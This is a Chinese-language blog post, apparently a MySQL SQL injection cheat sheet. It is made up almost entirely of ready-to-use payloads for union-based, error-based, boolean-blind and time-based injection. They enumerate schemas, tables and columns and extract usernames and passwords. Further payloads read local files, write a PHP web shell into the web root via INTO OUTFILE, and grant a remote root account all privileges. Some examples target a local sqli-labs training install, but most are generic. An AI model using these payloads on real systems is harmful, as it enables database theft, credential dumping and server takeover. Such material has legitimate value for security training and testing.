MySQL注入总结

2018-01-24  本文已影响145人  JasonChiu17

目录：

0x00 mysql一般注入(select)

0x01 mysql一般注入(insert、update)

0x02 mysql报错注入

0x03 mysql一般盲注

0x04 mysql时间盲注

0x05 mysql其他注入技巧

0x06 mysql数据库版本特性

正文：

0x00 mysql一般注入(select)

1.注释符

#
/*
--

2.过滤空格注入

使用/**/或()或+代替空格

%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line

3.多条数据显示

concat()
group_concat()
concat_ws()

4.相关函数

system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

5.mysql一般注入语句
判断注入类型

  1. 加单引号’
    比如：从报错信息判断，令id=-1’，报错：
  1. 加双引号”
    单引号没反应，可能是由双引号闭合了，单引号在双引号内是合法的，此时加双引号“测试。

猜字段数

order by n/*

查看mysql基本信息

查询数据库

and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1/*

and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata/*

查询表名

and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=数据库的16进制编码 limit 1,1/*

and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=数据库的16进制编码/*

查询字段

and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码 limit 1,1/*

and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码/*

查询数据

and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 数据库.表/*

and 1=2 union select 1,username,password from users limit 0,1 %23

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users-- -

判断是否具有读写权限

and (select count(*) from mysql.user)>0/*

and (select count(file_priv) from mysql.user)>0/*

6.mysql读取写入文件

必备条件：

  1. 读：file权限必备

  2. 写：

-------------------------读----------------------

mysql3.x读取方法

create table a(cmd text);

load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a;

select * from a;

mysql4.x读取方法

除上述方法还可以使用load_file()

create table a(cmd text);

insert into a(cmd) values(load_file('c:\\ddd\\ddd\\ddd.txt'));

select * from a;

mysql5.x读取方法

上述两种都可以


load_file(char(32,26,56,66))

load_file(0x633A5C626F6F742E696E69)

------------写--------------------------

into outfile写文件

union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木马代码),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*

union select 1,2,3,load_file('d:\web\logo123.jpg'),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*

0x01 mysql一般注入(insert、update)

mysql一般请求mysql_query不支持多语句执行，mysqli可以。

insert注入多使用报错注入!

1. 如果可以直接插入管理员可以直接使用!

insert into user(username,password) values('xxxx',' xxxx'),('dddd','dddd')/* ');

2. 如果可以插入一些数据，这些数据会在网页中显示，我们可以结合xxs和csrf来获取cookies或getshell

update注入同上

0x02 mysql报错注入

1. [sqli-lab-less5(get)/13(post):正常情况不输出任何数据，所以要用报错注入的方法]
   and (select 1 from  (select count(*),concat(database(),floor(rand(0)*2))x from  information_schema.tables group by x)a) %23 
2. and(select 1 from(select count(*),concat((select (select (语句)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

语句处填入一般一句，如：SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1

3. and+1=(select+*+from+(select+NAME_CONST((语句),1),NAME_CONST((语句),1))+as+x)--

4.update web_ids set host='www.0x50sec.org' where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b);

5.insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句)),1,62)))a from information_schema.tables group by a)b)));

0x03 mysql基于布尔的盲注

使用ascii
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<115 ) -- +

AND ascii(substring((SELECT password FROM users where id=1),1,1))=49

使用正则表达式

and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)

0x04 mysql基于时间的盲注

1170 union select if(substring(current,1,1)=char(11),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select database() as current) as tbl

UNION SELECT IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root'

0x05 mysql其他注入技巧

1 outfile 注入[sqli-labs-less-7]

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,2,3 into outfile "C:/wamp/www/sqli-labs-master/Less-7/2.txt" --+

2 post 方法(and 改成or)

2.1[sqli-labs-less-11]

  1. 单引号测试


  1. 测试 ‘ or 1=1 -- -


    测试登陆成功

  2. payload

2.2 post-报错注入 [sqli-labs-less-13]
  1. 爆库
    uname=123') or (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - &passwd=123&submit=Submit
  2. 爆表
    uname=123') or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - &passwd=123&submit=Submit
  3. 爆字段
    uname=123') or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - &passwd=123&submit=Submit
    4.爆数据
    uname=123') or (select 1 from (select count(*),concat((select username from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - &passwd=123&submit=Submit

0x06 mysql数据库版本特性

1. mysql5.0以后 information.schema库出现

2. mysql5.1以后 udf 导入xx\lib\plugin\ 目录下

3. mysql5.x以后 system执行命令

0x07 声明

原文地址：http://lanu.sinaapp.com/PHP_study/108.html

报错注入：http://www.waitalone.cn/mysql-error-based-injection.html

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